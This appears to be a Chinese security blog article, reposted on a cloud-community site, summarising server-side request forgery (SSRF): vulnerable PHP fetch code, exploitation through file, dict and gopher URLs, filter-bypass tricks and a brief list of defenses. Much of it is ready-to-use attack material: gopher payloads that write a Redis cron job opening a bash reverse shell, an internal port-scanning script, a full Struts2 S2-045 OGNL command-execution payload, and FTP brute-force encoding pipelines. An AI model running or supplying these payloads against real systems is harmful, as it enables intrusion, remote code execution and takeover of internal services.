首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >文了解SSRF漏洞

文了解SSRF漏洞

作者头像
中龙技术
发布于 2022-09-30 06:19:53
发布于 2022-09-30 06:19:53
47000
代码可运行
举报
文章被收录于专栏:kaydenkayden
运行总次数:0
代码可运行

文了解SSRF漏洞


红客突击队于2019年由队长k龙牵头,联合国内多位顶尖高校研究生成立。其团队从成立至今多次参加国际网络安全竞赛并取得良好成绩,积累了丰富的竞赛经验。团队现有三十多位正式成员及若干预备人员,下属联合分队数支。红客突击队始终秉承先做人后技术的宗旨,旨在打造国际顶尖网络安全团队。

前言

本篇总结归纳SSRF漏洞

1、什么是SSRF

服务器端请求伪造(Server-Side Request Forgery, SSRF)

  • 攻击的目标是从外网无法访问的内部系统
  • Web应用脚本提供了从其他服务器应用获得数据的功能,但没有对目标地址进行过滤和限制

可能出现的地方

  • 社交分享功能:获取超链接的标题等内容进行显示
  • 转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
  • 在线翻译:给网址翻译对应网页的内容
  • 图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片
  • 图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验
  • 云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试
  • 网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作
  • 数据库内置功能:数据库的比如mongodb的copyDatabase函数
  • 邮件系统:比如接收邮件服务器地址
  • 编码处理, 属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等
  • 未公开的api实现以及其他扩展调用URL的功能:可以利用google 语法加上这些关键字去寻找SSRF漏洞
  • 一些的url中的关键字:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain……
  • 从远程服务器请求资源(upload from url 如discuz!;import & expost rss feed 如web blog;使用了xml引擎对象的地方 如wordpress xmlrpc.php)

常见的缺陷函数

  • PHP:file_get_contents、fsockopen、curl_exec等

2、产生SSRF漏洞的函数

(1)file_get_contents

该函数的作用是将整个文件读入一个字符串中

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php
    if(isset($_POST['url']))
    {
        $content=file_get_contents($_POST['url']);
        $filename='images/'.rand().'img1.jpg';
        file_put_contents($filename,$content);
        echo $_POST['url'];
        $img="<img src=\"".$filename."\"/>";
    }
    echo $img;
?>

(2)fsockopen

该函数用于打开一个网络连接或者一个Unix套接字连接

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php
  function GetFile($host,$port,$link)
  {
    $fp=fsockopen($host,int($port),$errno,$errstr,30);
    if(!fp)
    {
      echo "$errstr(error number $errno)\n";
    }
    else
    {
      $out="GET $link HTTP/1.1\r\n";
      $out.="Host:$host\r\n";
      $out.="Connection:Close\r\n\r\n";
      $out.="\r\n";
      fwrite($fp,$out);
      $contents="";
      while(!feof($fp))
      {
        $contents.=fgets($fp,1024);
      }
      fclose($fp);
      return $contents;
    }
  }
?>
(3)curl_exec

该函数可以执行给定的 curl 会话。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php
  if(isset($_POST['url']))
  {
    $link = $_POST['url'];
    $curlobj=curl_init();
    curl_setopt($curlobj,CURLOPT_POST,0);
    curl_setopt($curlobj,CURLOPT_RETURNTRANSFER,TRUE);
    curl_setopt($curlobj,CURLOPT_URL,$link);
    $result=curl_exec($curlobj);
    curl_close($curlobj);
    $filename='../images/'.rand().'.jpg';
    file_put_contents($filename,$result);
    $img="<img src=\"".$filename."\"/>";
    echo $img;
  }
?>

3、漏洞利用

一些利用方式

  • 对外网、服务器所在内网及本地系统进行端口扫描
  • 攻击运行在内网或本地的应用程序
  • 对内网Web应用进行指纹识别,获取企业单位内部的资产信息
  • 通过HTTPGET的请求方式来攻击内外网的Web应用
  • 利用file协议读取本地文件
  • DoS攻击(请求大文件,始终保持连接keep-alive always)
(1)本地利用

curl支持大量的协议,例如file, dict, gopher, http

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
# 利用file协议查看文件
curl -v 'file:///etc/passwd'

# 利用dict探测端口
curl -v 'dict://127.0.0.1:22'
curl -v 'dict://127.0.0.1:6379/info'

# 利用gopher协议反弹shell
curl -v 'gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a'
(2)远程利用

例子1

ssrf.php

  • 无限制
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
function curl($url){  
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_exec($ch);
    curl_close($ch);
}

$url = $_GET['url'];
curl($url); 

利用方式

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
# 利用file协议任意文件读取
curl -v 'http://sec.com:8082/sec/ssrf.php?url=file:///etc/passwd'

# 利用dict协议查看端口
curl -v 'http://sec.com:8082/sec/ssrf.php?url=dict://127.0.0.1:22'

# 利用gopher协议反弹shell
curl -v 'http://sec.com:8082/sec/ssrf.php?url=gopher%3A%2F%2F127.0.0.1%3A6379%2F_%2A3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2456%250d%250a%250d%250a%250a%250a%2A%2F1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F127.0.0.1%2F2333%200%3E%261%250a%250a%250a%250d%250a%250d%250a%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2Fvar%2Fspool%2Fcron%2F%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2A1%250d%250a%244%250d%250asave%250d%250a%2A1%250d%250a%244%250d%250aquit%250d%250a'

例子2

ssrf2.php

  • 限制协议为HTTP、HTTPS
  • 设置跳转重定向为True(默认不跳转)
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php
function curl($url){
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, True);
    // 限制为HTTPS、HTTP协议
    curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_exec($ch);
    curl_close($ch);
}

$url = $_GET['url'];
curl($url);
?>

利用方式

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
http://sec.com:8082/sec/ssrf2.php?url=dict://127.0.0.1:6379/info

(3)探测内网

ssrf最常见的就是探测内网

一个通用脚本 爆破指定的一些端口和IP的D段

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
# -*- coding: utf-8 -*-
import requests
import time
ports = ['80','6379','3306','8080','8000']
session = requests.Session();
for i in range(1, 255):
 ip = '192.168.0.%d' % i #内网ip地址
 for port in ports:
  url = 'http://ip/?url=http://%s:%s' %(ip,port)
  try:
   res = session.get(url,timeout=3)
   if len(res.text) != 0 :    #这里长度根据实际情况改
    print(ip,port,'is open')
  except:
   continue
print('Done')
(4)攻击Redis服务

Redis一般都是绑定在6379端口 如果没有设置口令(默认是无),攻击者就可以通过SSRF漏洞未授权访问内网Redis 一般用来写入Crontab定时任务用来反弹shell,或者写入webshell等等

工具gopherus

(5)攻击Mysql服务

如果内网开启了3306端口,存在没有密码的mysql 则也可以使用gopher协议进行ssrf攻击

还是工具gopherus

4、gopher协议

gopher 协议是一个在 http 协议诞生前用来访问 Internet 资源的协议 可以理解为 http 协议的前身或简化版 使用tcp 可靠连接

(1)url 格式
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
gopher://<host>:<port>/<gopher-path>
  • <port>默认为70
  • <gopher-path>格式可以是如下其中的一种
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<gophertype><selector>
<gophertype><selector>%09<search>
<gophertype><selector>%09<search>%09<gopher+_string>
  • <gophertype>是一个单字符用来表示url 资源的类型,在常用的安全测试中发现不管这个字符是什么都不影响,只要有就行了,默认是1
  • <selector>是包的内容,为了避免一些特殊符号需要进行url 编码,但如果直接把wireshark 中ascii 编码的数据直接进行url 编码然后丢到gopher 协议里跑会出错,得在wireshark 里先换成hex 编码的原始数据后再每两个字符的加上%,通过对比发现直接url 编码的话会少了%0d回车字符
  • <search>用于向gopher 搜索引擎提交搜索数据,和<selector>之间用%09隔开
  • <gopher+_string>是获取gopher+ 项所需的信息,gopher+ 是gopher 协议的升级版
(2)攻击内网web

当通过ssrf 发现内网存在着一些比较脆弱的web 服务,比如有存在struts 2漏洞的web 服务 就可以尝试使用gopher 协议把poc 发送过去实现RCE

例子 内网struts 2 s2-045漏洞 存在ssrf 漏洞的靶机是192.168.73.150 存在struts 2 s2-045 漏洞的内网靶机是192.168.123.155

poc 通常如下

https://download.csdn.net/download/weixin_38514660/13717423

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
GET /showcase.action HTTP/1.1
Host: 192.168.123.155:8080
Content-Type:%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

注意gopher要对特殊符号进行二次url编码,空格可以编码为%2b 编码完就可以url发送了

(3)攻击内网redis

redis 是存在密码的,ssrf 漏洞机器和redis 为同一台 知道web 目录,redis 启动账户有权限往web 目录里写入内容

利用gopher 协议则需要现在先在本地利用上述操作复现并抓包下来后 丢到wireshark 里导出原始数据处理成gopher 协议的poc

1、使用tcpdum 抓包回环网卡lo 的6379 端口的完整包内容写入到a.cap

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
tcpdump -i lo port 6379 -s 0 -w a.cap

2、将a.cap 用wireshark 打开找到发送redis 命令的包然后追踪流,以原始数据报错到a.txt

3、使用如下命令将原始数据a.txt 的内容进行编码,后使用gopher 协议发送到6379 端口

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
cat a.txt|xxd -plain|sed -r 's/(..)/%\1/g'|tr -d '\n'

成功写入web shell

(4)攻击内网ftp

gopher 可以暴破ftp 的账号密码,暴破完了之后可以尝试上传文件 192.168.73.150 为ssrf 漏洞服务器,192.168.73.130 为内网ftp 服务器

1、本地模拟一遍访问ftp 的流量

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
tcpdump -i lo -s 0 -w a.cap
curl ftp://vsftp:vsftp@127.0.0.1/

2、把发送到21 端口的流量直接以ascii 保存下来

3、把保存下来的数据包进行url 编码两次得出poc,然后丢到burp 的intruder 里进行暴破

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
cat 1|sed 's/ /%20/g'|sed ':a;N;s/\n/%0d%0a/;ta;'|sed -r 's/(.*)/gopher:\/\/192.168.73.130:21\/_\1/g'|sed 's/%/%25/g'|sed 's/:/%3a/g'

4、抓包本地lo 网卡

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
tcpdump -i lo -s 0 -w a.cap

使用ascii 据保为文件1 删掉文件1 的末行quit命令 再复制出四个文件,并把stor 命令后的文件名重写为不一样的

5、每个文件进行gopher 编码,顺便再url 编码出poc

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
cat 1|sed 's/ /%20/g'|sed ':a;N;s/\n/%0d%0a/;ta;'|sed -r 's/(.*)/gopher:\/\/192.168.73.150:21\/_\1/g'|sed 's/%/%25/g'|sed 's/:/%3a/g'

6、在把传输通道的tcp stream 按如上步骤编码成gopher poc,在burp 的intruder 里在把poc 的端口部分加载荷

参考gopher 协议在SSRF 中的一些利用

5、绕过姿势

防护一般是ban掉一些指定ip 或用如下正则匹配

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
^10(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){3}$
^172\.([1][6-9]|[2]\d|3[01])(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$
^192\.168(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$

data-channel:将数据通道转换为流

https://download.csdn.net/download/weixin_42110038/19871459

这就要绕过

(1)进制转换

可以将ip地址转换成不同的进制来访问

比如127.0.0.1

  • 十六进制 = 7F000001
  • 十进制 = 2130706433
  • 二进制 = 1111111000000000000000000000001

一个脚本

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php
$ip = '127.0.0.1';
$ip = explode('.',$ip);
$r = ($ip[0] << 24) | ($ip[1] << 16) | ($ip[2] << 8) | $ip[3] ;
if($r < 0) {
    $r += 4294967296;
}
echo "十进制:";
echo $r;
echo "八进制:";
echo decoct($r);
echo "十六进制:";
echo dechex($r);
?>

注:

  • 八进制ip前要加上一个0
  • 其中八进制前面的0可以为多个
  • 十六进制前要加上一个0x
(2)用@绕过

http://www.baidu.com@10.10.10.10http://10.10.10.10请求是相同的

此绕过同样在URL跳转绕过中适用

(3)特殊网址

如果php后端只是用parse_url函数中的host参数判断是否等于127.0.0.1 可以用以下特殊网址绕过:xip.ionip.iosslip.io http://127.0.0.1.xip.io/1.php,实际上访问的是http://127.0.0.1/1.php

(4)短网址绕过

比如将http://127.0.0.1转换成短网址

(5)添加端口号
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
http://127.0.0.1:8080
(6)利用DNS解析

可以在自己的域名上设置A记录,指向127.0.0.1

(7)其他各种指向127.0.0.1的地址
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
1. http://localhost/
2. http://0/              0在window下代表0.0.0.0,而在liunx下代表127.0.0.1
3. http://[0:0:0:0:0:ffff:127.0.0.1]/  在liunx下可用,window测试了下不行
4. http://[::]:80/            在liunx下可用,window测试了下不行
5. http://127001/          用中文句号绕过
6. http://①②⑦...①            Enclosed alphanumerics方法绕过,英文字母以及其他一些可以网上找找
7. http://127.1/            0的数量多一点少一点都没影响
8. http://127.00000.00000.001/      0的数量多一点少一点都没影响

6、防御措施

主要有以下几种

  • 禁止跳转
  • 过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准
  • 禁用不需要的协议,仅仅允许http和https请求。可以防止类似于file://, gopher://, ftp:// 等引起的问题
  • 设置URL白名单或者限制内网IP(使用gethostbyname()判断是否为内网IP)
  • 限制请求的端口为http常用的端口,比如 80、443、8080、8090
  • 统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态

结语

对SSRF做了个小结

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2022-08-29,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 红客突击队 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
一篇文章深入学习SSRF漏洞
博客原文地址: https://hack-for.fun/posts/20200120/
IFONLY@CUIT
2020/02/19
3K0
CTFHub技能树通关教程——SSRF漏洞原理攻击与防御(二)(上传文件,FastCGI,Redis协议,URL Bypass)
访问内网下的127.0.0.1/flag.php,这里什么也没有,就一个上传文件,还没有提交按钮
小羽网安
2024/06/17
4260
CTFHub技能树通关教程——SSRF漏洞原理攻击与防御(二)(上传文件,FastCGI,Redis协议,URL Bypass)
HCTF2016 ATField writeup
出题的时候,主要思路是来源于2016wooyun峰会中猪猪侠的ppt,里面提到了很多关于ssrf的利用方式,而且国内其实对ssrf的研究并不多,所以一直有想法出一个这样的题,但是由于时间仓促再加上对flask的不熟悉,导致在出题的时候浪费了很多时间,而且还没能出得特别好。
LoRexxar
2023/02/21
2360
HCTF2016 ATField writeup
从一文中了解SSRF的各种绕过姿势及攻击思路
文章首发于跳跳糖社区https://tttang.com/archive/1648/
用户9691112
2023/05/18
5.5K0
从一文中了解SSRF的各种绕过姿势及攻击思路
SSRF漏洞总结
SSRF(Server-Side Request Forgery):指目标应用存在一种漏洞,利用该漏洞攻击者可以控制目标web应用的后端程序向任意ip地址/语言发送http请求或者其他数据包
全栈程序员站长
2022/09/12
1.7K0
SSRF漏洞总结
SSRF之gopher协议深度解析
Gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70端口。但在WWW出现后,Gopher失去了昔日的辉煌。现在它基本过时,人们很少再使用它。
Andromeda
2023/10/21
1.2K0
SSRF之gopher协议深度解析
SSRF 漏洞记录
SSRF(Server-Side Request Forgery)也属于应用层上的一个漏洞类型,用一个最简单的例子来理解这个漏洞:比如一个添加图文的功能,填入标题内容和封面图然后提交在网站前台显示,对于这个功能的图片它除了可以让你上传以外,还支持填入远程图片地址,如果你填入了远程的图片地址,则该网站会加载远程图过来进行显示,而如果程序写法不严谨或者过滤不严格,则加载图片地址的这个功能可能就可以包含进行一些恶意的脚本文件,或者你输入内网的 ip 或者一些系统的文件都会被解析执行,这个我们一般叫它 SSRF 即服务端请求伪造。
全栈程序员站长
2022/09/12
8750
SSRF 漏洞记录
Redis主从复制getshell技巧
基于Redis主从复制的机制,可以完美无损的将文件同步到从节点。这就使得它可以轻易实现以上任何一种漏洞利用方式,而且存在着更多的可能性等待被探索。
Bypass
2020/06/17
2K0
SSRF漏洞原理攻击与防御
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个漏洞
十二惊惶
2024/02/28
6240
SSRF漏洞原理攻击与防御
Redis 常见漏洞利用方法总结
Redis是数据库的意思。Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。
FB客服
2021/07/27
4.4K0
Redis 常见漏洞利用方法总结
当SSRF遇上Redis
SSRF(Server-Side Request Forgery)即服务器端请求伪造,是一种由攻击者构造攻击链传给服务器,服务器执行并发起请求造成安全问题的漏洞,一般用来在外网探测或攻击内网服务。
Gamma实验室
2020/12/23
2.1K0
当SSRF遇上Redis
SSRF 漏洞学习实验环境推荐及过程记录
在网上找到一个学习 SSRF 的环境,SSRF-LABS 有一个好看又简洁的界面,提供了最基本的 REST API 和客户端 WebHook 功能用于 SSRF 测试。前面只是大概的介绍,知道就好,不用花费过多精力了解。
信安之路
2019/05/28
3.8K0
渗透测试之地基服务篇:服务攻防之数据库Redis
简介 渗透测试-地基篇 该篇章目的是重新牢固地基,加强每日训练操作的笔记,在记录地基笔记中会有很多跳跃性思维的操作和方式方法,望大家能共同加油学到东西。 请注意: 本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。 一、前言 数据库作为业务平台信息技术的核心和基础,承载着越来越多的关键数据,渐渐成为单位公共安全中最具有战略性
FB客服
2023/03/30
8790
渗透测试之地基服务篇:服务攻防之数据库Redis
实战 | 利用SSRF渗透内网主机-上
Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。
HACK学习
2021/12/27
2.1K0
实战 | 利用SSRF渗透内网主机-上
实战 | 利用SSRF渗透内网主机-中
快速通用网关接口(Fast Common Gateway Interface/FastCGI)是一种让交互程序与Web服务器通信的协议。FastCGI是早期通用网关接口(CGI)的增强版本。FastCGI致力于减少网页服务器与CGI程序之间交互的开销,从而使[服务器可以同时处理更多的网页请求。
HACK学习
2021/12/27
1.5K0
实战 | 利用SSRF渗透内网主机-中
CTFHub技能树通关教程——SSRF漏洞原理攻击与防御(一)(超详细总结)
即服务器端请求伪造(Server-Side Request Forgery),是一种网络攻击技术,攻击者利用服务器上的应用程序向任意服务器发起请求或者操作,这些请求可能包括但不限于文件读取、命令执行、端口扫描等。由于这些请求是从服务器内部发起的,因此他们可以绕过服务器的外部访问控制,访问内部网络资源或者执行恶意操作。
小羽网安
2024/06/16
6930
CTFHub技能树通关教程——SSRF漏洞原理攻击与防御(一)(超详细总结)
SSRF漏洞利用与getshell实战(精选)
SSRF(Server-Side Request Forgery,服务器端请求伪造)是一种由攻击者构造请求,利用服务器端发起的安全漏洞。一般情况下,SSRF攻击的目标是外网无法访问的内部系统(正因为请求是由服务器端发起的,所以服务器能请求到与自身相连而外网隔离的内部系统)。
Ms08067安全实验室
2019/09/24
3.4K0
SSRF漏洞利用与getshell实战(精选)
[红日安全]Web安全Day4 - SSRF实战攻防
大家好,我们是红日安全-Web安全攻防小组。此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了一个名字叫 Web安全实战 ,希望对想要学习Web安全的朋友们有所帮助。每一篇文章都是于基于漏洞简介-漏洞原理-漏洞危害-测试方法(手工测试,工具测试)-靶场测试(分为PHP靶场、JAVA靶场、Python靶场基本上三种靶场全部涵盖)-实战演练(主要选择相应CMS或者是Vulnhub进行实战演练),如果对大家有帮助请Star鼓励我们创作更好文章。如果你愿意加入我们,一起完善这个项目,欢迎通过邮件形式(sec-redclub@qq.com)联系我们。
红日安全
2020/02/20
2.1K0
米斯特白帽培训讲义(v2)漏洞篇 SSRF
很多 Web 应用都提供了从其他服务器上获取数据的功能。使用用户指定的 URL,web 应用可以获取图片,下载文件,读取文件内容等。这个功能如果被恶意使用,可以利用存在缺陷的 Web 应用作为代理,攻击远程和本地服务器。这种形式的攻击成为服务器请求伪造(SSRF)。
ApacheCN_飞龙
2019/02/15
7830
米斯特白帽培训讲义(v2)漏洞篇 SSRF
Black Hat USA 2020议题:SSRF漏洞利用新思路
2020年BlackHat大会上,Joshua Maddux介绍了一种针对SSRF的新颖利用思路,得到了广泛的关注。此类攻击是通过构造一个HTTPS Server,使TLS session中携带攻击载荷,攻击行为触发主要通过一个受限的SSRF漏洞(甚至一个钓鱼网页),结合TLS协议和DNS协议的特性,把攻击报文发到受害者内网的TCP服务中,达到SSRF漏洞攻击面扩大的效果。本文将针对此攻击进行较深入介绍和演示,供大家学习参考。
FB客服
2021/05/20
1.1K0
Black Hat USA 2020议题:SSRF漏洞利用新思路
相关推荐
一篇文章深入学习SSRF漏洞
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档